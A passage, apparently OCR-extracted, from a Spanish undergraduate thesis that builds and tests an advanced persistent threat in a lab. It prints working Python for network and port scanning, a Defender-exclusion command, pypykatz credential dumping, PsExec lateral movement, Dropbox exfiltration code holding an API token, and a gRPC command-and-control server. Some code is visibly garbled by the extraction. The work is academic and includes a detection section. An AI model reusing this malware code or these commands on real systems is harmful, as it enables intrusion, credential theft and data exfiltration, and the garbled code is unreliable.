guardado en la variable upPcs intentamos conectarnos a cada uno de los puertos guar-
dados en la variable commonPorts. Si la conexion tiene éxito se guarda en el fichero el
puerto encontrado y posteriormente se cierra la conexidén. Una vez hemos terminado, (3)
cerramos el socket y el fichero con los resultados.

= Escaneo de DNS: este método se ocupara de buscar servidores DNS en la subred. Al
contrario que otros métodos, no usara la variable upPcs para evitar posibles cortafuegos
e intentara conectarse al puerto 53(DNS) de todos los equipos posibles de la subred. Los
resultados se guardaran en el fichero dnsServers.txt.

# DNS SERVERS SEARCH
def dnsScan():
global subnet

(1)scanFile = open(tempFolder+"dnsServers.txt", "w'")
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
for i in range(0, 255)
(2) target_ip = subnet + str(i)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout (0.5)
connection = s.connect_ex((target_ip,53))

if(connection == 0):
scanFile.write("DNS server: %s \n" % target_ip)
s.close()
except:
pass

(3)scanFile.close ()
s.close()

Listing 4.64: Codigo fuente del método dnsScan()

Primero, (1) abrimos el fichero en que vamos a guardar los resultados e instanciamos un
socket para realizar las conexiones con los equipos. Después, (2) para cada equipo de
la subred intentamos conectarnos al puerto 53. Si la conexidn tiene éxito se guarda en
el fichero el equipo encontrado y posteriormente se cierra la conexion. Una vez hemos
terminado, (3) cerramos el socket y el fichero con los resultados.
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= Escaneo completo: en este caso se hard un escaneo de todos los puertos de los equi-
pos guardados en la variable upPcs y los resultados se guardaran en el fichero fullPor-
tScan.txt.

# COMPLETE SCAN
def fullScan():
global upPcs

(1)scanFile = open(tempFolder+"fullPortScan.txt", "w")
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:

for pc in upPcs:
scanFile.write("IP: %s \n" % pc)
for port in range(0,65535):
(2) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout (0.5)
connection = s.connect_ex((pc,port))

if(connection == 0):
scanFile.write("\t %d OPEN \n" % port)
s.close ()
except:
pass

(3)scanFile.close()
s.close()

Listing 4.65: Cédigo fuente del método fullScan()

El funcionamiento es muy similar al de métodos anteriores. Primero, (1) abrimos el fi-
chero en que vamos a guardar los resultados e instanciamos un socket para realizar
las conexiones con los equipos. Después, (2) para cada equipo guardado en la variable
upPcs intentamos conectarnos todos los puertos posibles, desde el puerto 1 al 65535. Si
la conexidn tiene éxito se guarda en el fichero el puerto encontrado y posteriormente se
cierra la conexion. Una vez hemos terminado, (3) cerramos el socket y el fichero con los
resultados.

= Escaneo de carpetas de red: este escaneo obtendra la lista de recursos accesibles de
cada uno de los equipos activos en la red con el comando net view \\IP. Los resultados
se guardaran en el fichero networkFolders.txt.

def netFolders():
global subnet
global upPcs
output = ""

scanFile = open(tempFolder+"networkFolders.txt", "w")
try:
for pc in upPcs:

proc = subprocess.Popen('"net view \\\\"+pc, shell=True, stdout=subprocess.PIPE, stderr=
subprocess.PIPE, stdin=subprocess.PIPE)
result = proc.stdout.read() + proc.stderr.read()

try:
result = result.decode( utf-8")
except:
result = result.decode(’latinl’)
pass
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scanFile.write(result)

scanFile.write ("\N#########RBRRRBBBHHHHHHRBHHHHAARAHESSS")

scanFile.write ("######H#A#HHHHHHRRAHHHHHHRBA#HHRHHARA\D")
except:

pass

scanFile.close()

Listing 4.66: Codigo fuente del método netFolders()

4.7.2. Experimento Fase de Reconocimiento

En esta seccidn se mostrara en caso practico de como la APT hace el reconocimiento de la
red y de los equipos y exfiltra los resultados a Dropbox.

Después de intentar establecer una conexién con C&C, se inciara un escaneo de pings, de
puertos mas comunes y carpetas de red disponibles. Una vez finalizados se subiran a la nube
los resultados.

Figura 4.15: Captura del equipo WINDOWSO01 - Fase Reconocimiento

Posteriormente, se obtendra informacion del equipo en el archivo sys.txt. También se subira
a la nube cuando haya finalizado.
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Figura 4.16: Captura del equipo WINDOWSO01 - Fase Reconocimiento

En la carpeta de Dropbox, tendremos organizados los equipos infectados por la direccidon
MAC de cada maquina.

Figura 4.17: Captura del directorio Dropbox - Fase Reconocimiento

Las subcarpetas tendran de nombre la cuenta de usuario con la que se esta ejecutando la
APT.

Figura 4.18: Captura del directorio Dropbox - Fase Reconocimiento
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Dentro de esas carpetas, tendremos los archivos con los resultados.

Figura 4.19: Captura del directorio Dropbox - Fase Reconocimiento

A continuacién vemos la lista de equipos activos y, de entre la lista de puertos mas comunes,
cuales tienen abiertos.

Figura 4.20: Captura del archivo portScan.txt - Fase Reconocimiento

También tenemos la lista de servidores DNS en la red.

Figura 4.21: Captura del archivo dnsServers.ixt - Fase Reconocimiento

Y vemos que tenemos acceso a carpetas compartidas de red del equipo 192.168.5.21.
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Figura 4.22: Captura de las carpetas de red disponibles - Fase Reconocimiento

Otra cosa que sabemos es la lista de usuarios del dominio y cudles de ellos son
administradores [4.24]

Figura 4.23: Captura del archivo sys.txt - Fase Reconocimiento
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Figura 4.24: Captura del archivo sys.txt - Fase Reconocimiento

Las técnicas de MITRE ATT&CK que se han cubierto en este apartado son:

Reconocimiento

Nombre de la técnica

ID de la técnica

Gather Victim Network Information T1590
Gather Victim Host Information T1592
Active Scanning T1595

Cuadro 4.4: Técnicas empleadas en reconocimiento

4.8. Escalado de privilegios

En esta fase se busca escalar privilegios y obtener permisos de administrador. Una vez se
tengan permisos de administrador, se usaran para obtener los hashes de las contrasenas del

sistema y exfiltrarlas al servidor Dropbox.

Para esto, usaremos las siguientes técnicas de la matriz MITRE:

= Hijack Execution Flow - Path Interception by Unquoted Path (T1574.009): Aprovecha-
remos al vulnerabilidad de un servicio instalado con una ruta que no entrecomillada. Esto
provoca que, a causa del funcionamiento del sistema operativo Windows, sea vulnerable.
= OS Credential Dumping (T1003): para obtener las contrasefias de los usuarios del do-
minio y de la sesién activa, usaremos la libreria de python pypykatz y extraeremos los
hashes del sistema. Una vez tengamos los hashes, los exfiltraremos al C&C y los crac-

kearemos con la herramienta John the Ripper.
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4.8.1. Cddigo y desarrollo

Para escalar privilegios, usaremos la técnica "Path Interception by Unquoted Path”. Esta
consiste en aprovechar que la ruta de ejecucién de un servicio no esta entrecomillada y tiene
espacios.

Pongamos el siguiente ejemplo:

C:\Program Files\A Subcarpeta\B Subcarpeta\C Subcarpeta\Ejecutable.exe

Para ejecutar el servicio, el sistema de Windows probara en orden las siguientes opciones:

1. C:\Program.exe con "Files\A Subcarpeta\B Subcarpeta\C Subcarpeta\Ejecutable.exe”
como argumento del programa.

2. C:\Program Files\A.exe con "Subcarpeta\B Subcarpeta\C Subcarpeta\Ejecutable.exe”
como argumento del programa.

3. C:\Program Files\A Subcarpeta\B.exe con "Subcarpeta\C Subcarpeta\Ejecutable.exe”
como argumento del programa.

4. C:\Program Files\A Subcarpeta\B Subcarpeta\C.exe con "Subcarpeta\Ejecutable.exe”
como argumento del programa.

5. C:\Program Files\A Subcarpeta\B Subcarpeta\C Subcarpeta\Ejecutable.exe

Para poder explotar esta vulnerabilidad, tenemos que poder escribir archivos en alguna de
las carpetas de la ruta y asi secuestrar el servicio.

Primero buscaremos servicios que no tengan la ruta entrecomillada con el siguiente coman-
do:

C:\>wmic service get name,pathname,displayname,startmode | findstr /i auto | findstr /i /v "C:\Windows
\\" | findstr /i /v """

Servicio Vulb DP Servicio vulnerable
C:\Program Files\1 Subcarpeta\2 Subcarpeta\3 Subcarpeta\proceso.exe Auto

Listing 4.67: Buscar servicios vulnerables

Como se ve en el codigo en el punto (1), el servicio se ejecuta al iniciarse el equipo.
Una vez suplantado el servicio, el codigo sera ejecutado como administrador al activarse el
equipo.

C:\>sc qc "Servicio vulnerable"
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: Servicio vulnerable

TYPE : 10 WIN32_OWN_PROCESS

START_TYPE 2 AUTO_START (1)

ERROR_CONTROL 1 NORMAL

BINARY_PATH_NAME : C:\Program Files\1 Subcarpeta\2 Subcarpeta\3 Subcarpeta\proceso.exe
LOAD_ORDER_GROUP

TAG : 0
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DISPLAY_NAME . Servicio Vulb DP
DEPENDENCIES :
SERVICE_START_NAME : LocalSystem

Listing 4.68: Informacion del Servicio vulnerable

Vemos también que cualquier usuario local tiene permisos de escritura en la carpeta "1
Subcarpeta”, indicado en el punto (2).

C:\Users\pedro>icacls "C:\Program Files\1 Subcarpeta"
C:\Program Files\1 Subcarpeta BUILTIN\Users:(W) (2)
NT SERVICE\TrustedInstaller:(I)(F)
NT SERVICE\TrustedInstaller:(I)(CI)(IO)(F)
NT AUTHORITY\SYSTEM:(I)(F)
NT AUTHORITY\SYSTEM:(I)(0I)(CI)(IO)(F)
BUILTIN\Administrators:(I)(F)
BUILTIN\Administrators:(I)(0I)(CI)(I0)(F)
BUILTIN\Users:(I)(RX)
BUILTIN\Users:(I)(0I)(CI)(IO)(GR,GE)
CREATOR OWNER:(I)(0I)(CI)(IO)(F)
APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(I)(RX)
APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(I)(OI)(CI)(IO)(GR
,GE)
APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES:(I)(RX)
APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES:(I)(0I)
(CI)(IO)(GR,GE)

Successfully processed 1 files; Failed processing 0 files

Listing 4.69: Permisos de la carpeta de "1 Subcarpeta”

Una vez sabemos esto, solo es necesario copiar nuestra ATP en la carpeta "C:\Program
Files\1 Subcarpeta” con el nombre 2.exe. Después podemos reiniciar la maquina remotamente
con el siguiente comando:

shutdown /r /£ /t 00

Listing 4.70: Comando de reincio

Finalmente, usando el shell administrador que hemos obtenido, exceptuamos el disco duro
en el antivirus y asi evitaremos la deteccién.

def disableAV():
subprocess.call(’powershell Add-MpPreference -ExclusionPath "C:"’, shell=True)

Listing 4.71: Codigo de disableAV()

Cuando ya hayamos obtenido los permisos de administrador y hayamos exceptuado el dis-
co duro en el antivirus, usaremos nuestros nuevos permisos para obtener los hashes de las
contrasenas del sistema y las mandaremos al servidor C&C.

Para esto usaremos el método dumpCreds():

#https://www.programcreek.com/python/example/112016/pypykatz.pypykatz.pypykatz.pypykatz
def dumpCreds():
result = "none"
try:
lr = LiveRegistry.go_live ()
except Exception as e:
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result = e
try:
lr = OffineRegistry.from_live_system()
except Exception as e:
result = e
pass
pass
result = str(lr)

return result

Listing 4.72: Cédigo del método dumpCreds()

Este método usara la integracion de python de mimikatz, llamada pypykatz, para obtener
los hashes de las contrasefias de los usuarios del dominio y de la sesion actual.

4.8.2. Experimento Fase de Escalado

Primero, lo que haremos sera buscar los servicios que no tengan el path entrecomillado.

Este tipo de servicios pueden ser vulnerables a secuestro de servicio. Usaremos el siguiente
comando:

Figura 4.25: Captura de Kali - Fase Escalado

Como podemos ver, existe un "Servicio Vulnerable” cuya ruta no esta entrecomillada. Lo
siguiente sera buscar informacion del servicio y ver si tenemos permisos de escritura en alguno
de las carpetas del PATH.

Figura 4.26: Captura de Kali - Fase Escalado

En la figura vemos que tenemos permisos de escritura en la carpeta "C:\Program
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Files\1 Subcarpeta” por lo que, si copiamos nuestro ejecutable en esa carpeta con el nombre
2.exe, una vez se reinicie la maquina secuestraremos el servicio y escalaremos privilegios.

Figura 4.27: Captura de Kali y WINDOWSO01 - Fase Escalado

Una vez reiniciamos la maquina obtenemos un shell con permisos de administrador y el
usuario "nt authority\system”.

Figura 4.28: Captura de Kali y WINDOWSO01 - Fase Escalado

Ahora que tenemos permisos de administrador podemos obtener los hashes con el método
y comando "dumpCreds”.
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Figura 4.29: Captura de Kali - Fase Escalado

Después pasaremos los hashes a un fichero y los crackearemos usando john.

Figura 4.30: Captura de Kali - Fase Escalado

Para que sea mas rapido usaremos el diccionario de contrasefas "rockyou.txt”. A continua-
cidn se muestran las contrasefas crackeadas.

Figura 4.31: Captura de Kali - Fase Escalado

Las técnicas de MITRE ATT&CK que se han cubierto en este apartado son:
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Escalado
Nombre de la técnica ID de la técnica
Path Interception by Unquoted Path T1574.009
OS Credential Dumping T1003

Cuadro 4.5: Técnicas empleadas en escalado de privilegios

4.9. Movimientos laterales

En esta fase se busca que la APT sea capaz de propagarse por la red a otros equipos. Es
por esto que haremos uso de carpetas compartidas y de la herramienta PsExec. Esta ultima es
una herramienta del paquete de Sysinternals de Microsoft. Este paquete contiene programas
que ayudan a realizar tareas de administracién, como ejecuciéon de comandos remotos en
otros equipos. Al ser una herramienta firmada por Microsoft no llamara la atenciéon de las
herramientas antimalware.

Para esto, usaremos las siguientes técnicas de la matriz MITRE:

= Data from Network Shared Drive (T1039): copiaremos nuestra APT a una carpeta com-
partida de la red para luego ejecutarla remotamente en otro sistema.

= Remote Services: SMB/Windows Admin Shares (T1021.002): para ejecutar remota-
mente nuestra APT desde una carpeta compartida usaremos la herramienta PsExec y
las credenciales obtenidas en la fase de escalado.

En esta fase del experimento ya hemos obtenido las credenciales de los usuarios y las usa-
remos para intentar ejecutar comandos remotos en otras maquinas disponibles en la subred.
Para esta fase no se ha preparado ninguna funcién en el coédigo. Esto se debe a que podemos
encontrarnos con una gran variedad de sistemas que podemos infectar con distinto software y
configuracién. Es por esto que, en caso necesario, podemos usar scripts o ejecutables en las
maquinas infectadas para cumplir nuestros objetivos.

4.9.1. Experimento Fase de Movimientos laterales

Como primer paso, montaremos el volumen \\192.168.5.21\secreto que hemos visto en la
fase de reconocimiento para que sea mas accesible.
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Figura 4.32: Demo

Después, navegaremos a nuestra carpeta temporal y subiremos el archivo "PsExec.exe”,
que es la herramienta que usaremos para ejecutar comandos remotos en otros equipos. Una
vez hecho esto, copiamos la APT a la carpeta compartida que tenemos en el volumen "W:\".
Para usar PsExec.exe necesitamos saber el nombre del equipo de la 192.168.5.21 que, como
hemos visto en la fase de reconocimiento, es "'SERVER”. Esto lo podriamos ver con el siguiente
comando:

nbstat -A 10.0.0.4

Listing 4.73: Comando nbstat
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Figura 4.33: Demo

Ahora que tenemos todo listo, lanzamos el comando PsExec con las credenciales crackea-
das y la ruta donde hemos subido nuestra APT. Usaremos el siguiente comando:

PsExec.exe /accepteula \\{ordenador} -u {dominio}\{usuario} -p {clave de usuario} -i -c cmd.exe "/C {

ruta del exel}"

Listing 4.74: Comando psexec

Figura 4.34: Demo

Figura 4.35: Demo

Lamentablemente, no esta habilitada la ejecucién remota en el equipo "SERVER”. Ademas,
ninguno de los usuarios de los que tenemos credenciales son administrador, por lo que no
podremos ejecutar comandos en el "SERVER?”, que es el DC (Controlador de Dominio). Ten-
dremos que seguir esperando la oportunidad para saltar a otro equipo de la red.
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Las técnicas de MITRE ATT&CK que se han cubierto en este apartado son:

Movimientos laterales
Nombre de la técnica ID de la técnica
SMB/Windows Admin Shares T1021.002
Data from Network Shared Drive T1039

Cuadro 4.6: Técnicas empleadas en movimientos laterales

4.10. Exfiltracion

En esta fase se busca enviar la informacion obtenida del sistema y de la subred a nuestra
carpeta de la nube.

Para esto, usaremos las siguientes técnicas de la matriz MITRE:

n Exfiltration Over Web Service (T1567): usaremos la API de Dropbox, que usa HTTPS
y TLS para cifrar las comunicaciones, para exfiltrar los datos recogidos.

= Automated Exfiltration (T1020): el envio de datos a la nube se realizar4d de manera
automatica cada vez que se ejecute un comando recibido de la nube.

4.10.1. Cédigo y desarrollo

Para obtener esta informacion, se ha empleado la API de dropbox. Su funcionamiento es
muy directo y sélo es necesario un token de autenticacién para poder descargar y subir archi-
VOS.

# Token y componente dropbox para subir y descargar archivos
token = 'YIFORX60S-IAAAXZAAAS3jXdasawARafaaey_JdsvlyfcasrhDFJTdnZgdRBUmfhzI4’
dbx = dropbox.Dropbox(token)

Listing 4.75: Inicializacion de la variable de dropbox

Para gestionar la subida de archivos tenemos el método uploadDropbox(). Primero lee-
remos el archvio en bytes (1) y después subiremos el archivo con el método de la API fi-
les_upload() (2). En este método crearemos dos carpetas, una carpeta principal con el nom-
bre de la direccion MAC del equipo y una subcarpeta con el nombre del usuario que esta
ejecutando el script, y subiremos la informacion a la subcarpeta.

def uploadDropbox(filepath,filename):
global macAdd
global username

try:
username = getpass.getuser ()
(1) with open(filepath+filename,’rb’) as file:
uploadFile = file.read()

(2) dbx.files_upload(uploadFile, ’/’+macAdd+’/’+username+’/’+filename,
mode=dropbox.files.WriteMode.overwrite)
return True

except Exception as e:
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print(e)
return False

Listing 4.76: Cddigo fuente del método uploadDropbox()

Las técnicas de MITRE ATT&CK que se han cubierto en este apartado son:

Exfiltracion
Nombre de la técnica ID de la técnica
Exfiltration Over Web Service T1567
Automated Exfiltration T1020

Cuadro 4.7: Técnicas empleadas en exfiltracién

4.11. Contramedidas de deteccion

En esta seccidén se enumeran algunos posibles eventos que, de ser detectados, harian mas
sencilla la deteccidn de la APT descrita en este trabajo:

= Escaneos de red: varias peticiones de paquetes ICMP a equipos de la red puede indicar
que se esta realizando un escaneo en la red para ver qué equipos estan activos.

= Modificacion de registros: Los registros del sistema pueden permitir a un atacante lan-
zar un programa al inicio de una sesion. De esta manera, un posible malware podria
activarse cada vez que se activa el equipo y asi conseguir persistencia en el sistema.

= Descarga de archivos ejecutables: La descarga de archivos ejecutables de la red po-
dria indicar que un malware se esta actualizando o descargando alguna herramienta para
cumplir sus objetivos.

= Servicios de nube: Las conexiones a servicios de nube como pueden ser Dropbox, One-
drive o Mediafire pueden indicar que un malware esta intentando acceder a un servidor
de C&C ya sea para exfiltrar informacién u obtener instrucciones.

= Informacion del sistema: El acceso a informacion del sistema, como enumerar las ca-
racteristicas del sistema, informacién del usuario o listar los usuarios administradores del
dominio; pueden indicar que un malware esta haciendo un reconocimiento del dispositivo
para luego explotar sus vulnerabilidades.

= Utilidades Sysinternal: La descarga de utilidades de Sysinternals de Microsoft, como
puede ser la herramienta procdump o PsExec, a pesar de ser software firmado puede
emplearse para obtener credenciales de usuarios.
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Capitulo 5

Conclusiones y posibles mejoras

Tras la realizacion del proyecto realizaremos un resumen sobre las conclusiones obteni-
das. Ademas, comentaremos posibles futuras ampliaciones que se pueden llevar a cabo para
mejorar el proyecto.

5.1. Conclusiones

Durante la realizacidn de este trabajo de fin de grado hemos aprendido el funcionamiento y
comportamiento de APTs mediante su desarrollo y experimentacion en un laboratorio donde
se ha realizado el experimento. A continuacion se resume brevemente en varios puntos los
objetivos conseguidos en el trabajo desarrollado:

= Se ha estudiado la documentacién disponible sobre APTs.

= Se ha disefiado y desarrollado la funcionalidad de una APT.

= Se ha modelado y configurado un laboratorio de pruebas para realizar el experimento.

= Se ha realizado un experimento donde se ha puesto a prueba la funcionalidad desarro-
llada.

= Se han aprendido técnicas y métodos para comprometer sistemas.

= Se han afianzado algunos conocimientos vistos durante la carrera.

= Se ha estudiado e implementado el sistema de comunicacién entre la APT y el C&C
mediante el framework gRPC y Protocol Buffers.

= Se han explorado las diversas posibilidades de vulneracidn de sistemas y se han aplicado
algunas de ellas.

» Se han utilizado varias librerias de python para extender la funcionalidad de la APT.

= Se han comprendido los fundamentos de las amenazas persistentes avanzadas.

= Se han estudiado las distintas arquitecturas de comunicaciéon de "Command and Control”.

= Se han estudiado varios mecanismos de seguridad del sistema operativo Windows.

= Se han aprendido cuales son los mecanismos de deteccién del antivirus Windows Defen-
der y como evitarlos.

En este trabajo se han estudiado las distintas medidas de seguridad que implementa el
sistema operativo Windows, por ejemplo, dejar que solo ciertas operaciones sean ejecutadas
por un administrador y desde equipos concretos. También se han aprendido mecanismos que
implementa Windows Defender para encontrar amenazas como son: hash del archivo, com-
portamiento, nombre, extensién... Por ultimo, se han visto las ventajas de implementar como
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método de comunicacion gRPC y protocol buffers, como son el reducido tamario de las co-
municaciones, para evitar crear grandes picos de trafico en la red, o la gran velocidad de
compresién y descompresion de datos.

Existen otras alternativas a la arquitectura, herramientas o métodos empleados por la APT
desarrollada; sin embargo, este enfoque ha demostrado tener gran flexibilidad debido al siste-
ma de recepcion de comandos de forma sincrona y asincrona para poder adaptarse a cada
sistema infectado. Ademas, se han aportado métodos de deteccion de estas amenazas basa-
do en las tareas que suelen realizar. También se ha aportado informacién sobre su compor-
tamiento y objetivos para comprender mejor su funcionamiento y ayudar a crear medidas de
proteccion.

En conclusién, en este trabajo se ha presentado el desarrollo e implementacién de una APT
y se ha puesto a prueba su funcionalidad en un laboratorio de pruebas.

5.2. Posibles mejoras

Existen varias posibilidades de ampliacion de funcionalidades del trabajo realizado en este
TFG. A continuacion, se destaca las que se consideran més importantes:

m Técnicas de evasion de antivirus como polimorfismo o cifrado del propio ejecutable. Las
APTs suelen tener técnicas de evasion de los sistemas de defensa para evitar su detec-
cion. Dependiendo de la técnica de deteccién de cada antivirus, se podria implementar
una contramedida y asi permanecer oculto. Un antivirus puede estar basado en firma,
heuristica, comportamiento o una mezcla de varios.

La implementacion de este tipo de técnicas podria poner a prueba los sistemas de detec-
cion llegando asi a mejorarlos.

= Dominios dinamicos. En la APT implementada, se usa una IP estatica. Una version mas
avanzada deberia implementar una lista de dominios que cambiasen dependiendo de
factores predefinidos, como por ejemplo el dia de la semana. Esto haria mas dificil la
deteccion de dominios relacionados con conexiones C&C.

= Profundizar e implementar diferentes técnicas de escalado de privilegios 0 movimientos
laterales. Dado el gran numero de técnicas nuevas que se van aportando cada ano, es
cada vez mas dificil detectar las amenazas. Desarrollar y demostrar como funcionan otras
técnicas puede ser util desde la perspectiva defensiva.
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Capitulo 6

Anexo

6.1. Framework gRPC

6.1.1. ¢Qué es gRPC?

gRPC(google Remote Procedure Calls) [29] es un sistema de llamada a procedimiento re-
moto de cddigo abierto desarrollado inicialmente en Google. Esta disenando para comuni-
caciones de alto rendimiento entre servicios. Es una manera eficiente de conectar servicios
escritos en diferentes lenguajes proporcionando soporte de balanceo de carga, autenticacion,
transmisién bidireccional y control de flujo, enlaces bloqueantes o no bloqueantes, cancelacio-
nes y tiempos de espera.

Proyectos y empresas como Dropbox, Netflix o Cisco hacen uso de esta tecnologia.

Por defecto, gRPC usa protocol buffers para serializar datos. Generalmente, gRPC se
considera una mejor alternativa al protocolo REST para la arquitectura de microservicios.

6.1.2. Arquitectura RPC

RPC(Remote Procedure Call) se corresponde con Llamada de Procedimiento Remota. Co-
mo sugiere el nombre, la idea es que podamos invocar métodos de servicios de servidores
remotos. RPC permite obtener la solucién a un problema en el mismo formato independiente-
mente de donde se ejecute.

La idea es la misma que con el protocolo REST. Se crea una APl con métodos publicos y
después los métodos se llaman con argumentos.

RPC es muy popular en dispositivos |oT y otros dispositivos que requieren comunicaciones
personalizadas con bajo consumo. También se puede implementar RPC como RPC-XML vy
RPC-JSON. gRPC es el ultimo framework creado con el protocolo RPC.

6.1.3. ¢Qué hace especial a gRPC?

La diferencia mas importante es que gRPC usa protocol buffers para serializar los datos
y comunicarse en vez de JSON/XML. Los protocol buffers pueden describir la estructura de
datos y el cédigo puede ser generado de esa descripcidn para generar o parsear streams
de bytes que representan los datos estructurados. Es por esto que gRPC es preferido para
aplicaciones web que se implementan con diferentes tecnologias. El formato binario permite
que las comunicaciones sean mas ligeras.
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Por otro lado, gRPC esta construido encima de HTTP/2, que soporta comunicacién bidi-
reccional como también la tradicional solicitud/respuesta. En la practica, los clientes abriran
conexiones de larga duracién con los servidores gRPC y se abrira un stream HTTP/2 para
cada llamada RPC.

6.2. Protocol Buffers

6.2.1. ¢Qué son los Protocol Buffers?

Los Protocol Buffers [30] son un método de serializacion de datos que pueden ser transmiti-
dos por la red o almacenados en archivos. Otros formatos parecidos son JSON y XML, que se
usan también para serializar datos. Aunque estos formatos son flexibles y efectivos, no estan
optimizados para comunicacién entre servicios multiplataforma.

Por este motivo, Google cre6 en 2008 el ProtoBuf. Inicialmente, el ProtoBuf se creo para tres
lenguajes: C++, Java y Python. A lo largo de los afos, otros lenguajes empezaron a soportar
Protobufs como Go, Ruby, JS, PHP, C# y Objective-C. La versién actual de Protobuf se llama
proto3.

El Protobuf estd optimizado para ser mas rapido que JSON y XML centrandose solo en
serializar y deserializar datos lo mas rapido posible. Otra optimizacion es que el ancho de
red necesario para las comunciaciones es minimo dado que hace que el numero de datos
transmitidos sea el menor posible.

La definicidén de los datos que se van a serializar esta definida en archivos de configuracion
conocidos como archivos proto (.proto).

6.2.2. Caracteristicas

1. Formato de transferencias binario

Los datos transmitidos con Protobuf son en binario. Esto mejora la velocidad de transmi-
sidn porque ocupa menos espacio y ancho de red. Como los datos estan comprimidos,
el uso de CPU también es menor.

La unica desventaja de Protobuf es que no es tan facil de leer como JSON o XML. Si la
plataforma no soporta mensajes en binario también se puede serializar los datos como
string.

En el caso de Protobufs definimos los mensajes en el archivo de configuracion asi:

{
string first_name = 1;

string last_name = 2;

}

Listing 6.1: Cédigo fuente de un archivo .proto
Usando este archivo de configuracion, los datos enviados seran codificados como:
124Pepe226Garcia

Listing 6.2: Datos serializados por Protobuf
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En el caso de 124Pepe, 1 es el identificador del campo, 2 es el tipo de dato (string) y 4 es
la longitud del texto. Es un poco mas complicado de leer que JSON pero ocupara menos
espacio.

2. Formato de mensajes
Los datos transmitidos como Protobuf se basan en el archivo de configuracion (.proto) y
SON CONOCIMOS COMO messages/mensajes.

A continuacion vemos un ejemplo:

syntax = "proto3";

message Persona {
uint64 id = 1;

string email = 2;
bool encendido

3;

enum TipoMovil ({
MOVIL = O0;
CASA = 1;
TRABAJO = 2;

}

message NumeroTelefono {
string numero = 1;
TipoMovil type = 2;

}

Listing 6.3: Ejemplo archivo .proto

En el ejemplo anterior, podemos ver cémo se los declaran mensajes en las lineas 3y 14.
Los tipos de datos pueden ser de tres tipos: escalar, como pueden ser strings o numeros;
enum y un mensaje descrito por el usuario, como es NumeroTelefono en el ejemplo.

Los tipos de datos escalares disponibles en Protobuf son float, int32, int64, uint32, uint64,
sint32, sint64, fixed32, fixed64, sfixed32, sfixed6, bool, string y bytes.

Segun la convencion, los nombres de las variables deben estar en minusculas y si cons-
tan de varias palabras deben estar separadas por una barra baja.

Por dltimo, las variables constan de representaciones numéricas que sirven para identi-
ficar los campos en el formato binario. Los numeros de las variables deben ser Unicos
dentro de cada mensaje, deben ser numeros enteros y los campos que se dejen de usar
deben declararse como "reserved” para evitar que se redefinan.

3. Generacion de cédigo de archivos .proto
La parte mas importante de Protobuf es el compilador protoc.

En el caso de python se puede instalar con el siguiente comando:

pip install protobuf

Listing 6.4: Instalacién python de protobuf

El compilador generara el cddigo necesario dependiendo del lenguaje con el que se esté
trabajando. Primero, crearemos un pequefo archivo .proto:
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syntax = "proto3";
message Person {
uint64 id = 1;

string email = 2;

}

Listing 6.5: Archivo ejemplo.proto

Y con el siguiente comando generaremos el cédigo python:

python -m grpc_tools.protoc

-I=. --python_out=. --grpc_python_out=. ejemplo.proto

Listing 6.6: Comando del compilador protoc de python.

a) -l: define el directorio donde buscamos cualquier dependencia.

b) —python_out: define el directorio donde queremos que se genere la clase de inte-

gracion.

c) —grpc_python_out: define el directorio donde queremos que se genere el archivo
con los métodos gRPC.

6.3. Caddigo del servidor server.py

import os

from concurrent import futures

import grpc
import time
import datetime

import chunk_pb2, chunk_pb2_grpc

from key_generator.key_generator import generate

from cryptography.fernet import Fernet

from pathlib import Path

CHUNK_SIZE = 1024 - 1024

def get_file_chunks(filename):
with open(filename, ’rb’) as f£:

while True:

piece = f.read(CHUNK_SIZE);

if len(piece) ==
return

yield chunk_pb2.Chunk(buffer=piece)

def save_chunks_to_file (chunks,
with open(filename, ’wb’) as f:

for chunk in chunks:

f.write(chunk.buffer)

def getNextNumber () :

currentDir = os.getcwd()

count = 0

for i in os.listdir(currentDir):

filename):

if("screenshot" in i and i.endswith(".png")):
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count += 1

return count

def generate_key():
global encrKey

date = datetime.datetime.now ()

day = str(date.day)

month = str(date.month)

year = str(date.year)

secret = int(day+month+year)

key = generate(seed = secret, max_atom_len = 8, min_atom_len = 8).get_key()

key = key[:-1]+"="
encrKey = Fernet(key)
return encrKey

def decryptFile(filename):
with open(filename, ’'rb’) as f£:
content = f.read()
f.close()

decrypted_data = encrKey.decrypt(content)

with open(filename, ’'wb’) as f£:
f.write(decrypted_data)
f.close()

def encryptFile(filename):
with open(filename, ’'rb’) as f£:
content = f.read()
f.close()

encrypted_data = encrKey.encrypt(content)

with open(filename, ’wb’) as f:
f.write(encrypted_data)
f.close()

class FileServer (chunk_pb2_grpc.FileServerServicer):
def __init__(self):

class Servicer(chunk_pb2_grpc.FileServerServicer):
def __init__(self):
self.tmp_file_name = os.getcwd()+"\\file"
self.encrkey = generate_key ()

def upload(self, request_iterator, context):
save_chunks_to_file(request_iterator, self.tmp_file_name)
decryptFile(self.tmp_file_name)

return chunk_pb2.Reply(length=os.path.getsize(self.tmp_file_name))

def download(self, request, context):
if request.name:
encryptFile(self.tmp_file_name)
chunks_generator = get_file_chunks(self.tmp_file_name)
decryptFile(self.tmp_file_name)
return chunks_generator

def getCmd(self, request, context):
response = chunk_pb2.Request ()
response.name = input("> Shell#%s: " % str(context.peer()))
if(response.name[:8] == "download"):
self.tmp_file_name = os.getcwd()+"/"+response.name[9:]
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elif response.name[:6] == "upload":
self.tmp_file_name = os.getcwd()+"/"+response.name[7:]
elif response.name[:10] == "screenshot":

count = getNextNumber ()

self.tmp_file_name = os.getcwd()+"/"+response.name[:10]+str(count)+".png

data = response.name.encode ()
response.name = encrKey.encrypt(data).decode()
return response

def getResponse(self, request, context):
data = request.name.encode ()
decrypted_data = encrKey.decrypt(data)
decrypted_data = decrypted_data.decode().rstrip()
print (decrypted_data)
response = chunk_pb2.Empty ()
return response

self.server = grpc.server(futures.ThreadPoolExecutor (max_workers=1))
chunk_pb2_grpc.add_FileServerServicer_to_server (Servicer (), self.server)

def start(self, port):
self.server.add_insecure_port(f’[::]:{port}’)
self.server.start ()

try:
while True:
time.sleep(60+60+24)
except KeyboardInterrupt:
self.server.stop(0)

if __name__ == ’__main__’:
